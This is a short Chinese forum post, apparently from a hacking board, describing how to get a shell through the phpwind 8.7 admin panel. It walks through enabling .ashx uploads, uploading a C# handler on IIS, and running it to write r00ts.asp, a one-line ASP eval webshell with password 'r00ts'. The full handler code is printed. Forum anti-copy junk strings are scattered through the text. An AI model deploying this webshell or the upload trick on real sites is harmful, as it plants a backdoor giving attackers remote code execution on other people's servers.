phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

1 ]( ?8 A3 C  w" r+ a. l群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
$ w2 c* s2 x! |- f6 g
/ H0 `! c7 A7 Q1 f发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
1 Q2 V8 Y) ?" `
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
5 ^0 J* _& D" e$ e' J) Z
打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

+ p1 k4 e% T; m4 ]下面是代码:

- N; m8 `; T; ~  x<%@ WebHandler Language="C#"Class="Handler" %>
: @' j0 s, e" i2 [( R6 r: r- yusing System;
) I1 X( U5 q6 fusing System.Web;
using System.IO;
public class Handler : IHttpHandler {
9 _1 a( e+ g1 k" f: Zpublic void ProcessRequest (HttpContext context) {
8 j2 ~( z& ~% @+ e2 B' |1 r! H! ~context.Response.ContentType = "text/plain";
/ ]* J! Y. h8 n1 U; sStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
file1.Close();
}
" P& H% p4 n( t+ B% ~( A6 kpublic bool IsReusable {
2 D( ?/ E5 r9 {. k. a& ^& Gget {
return false;
}
/ m" B6 H9 s2 ]2 @: |$ t/ T6 V}
}
: u6 P- `  c% s: d. B3 _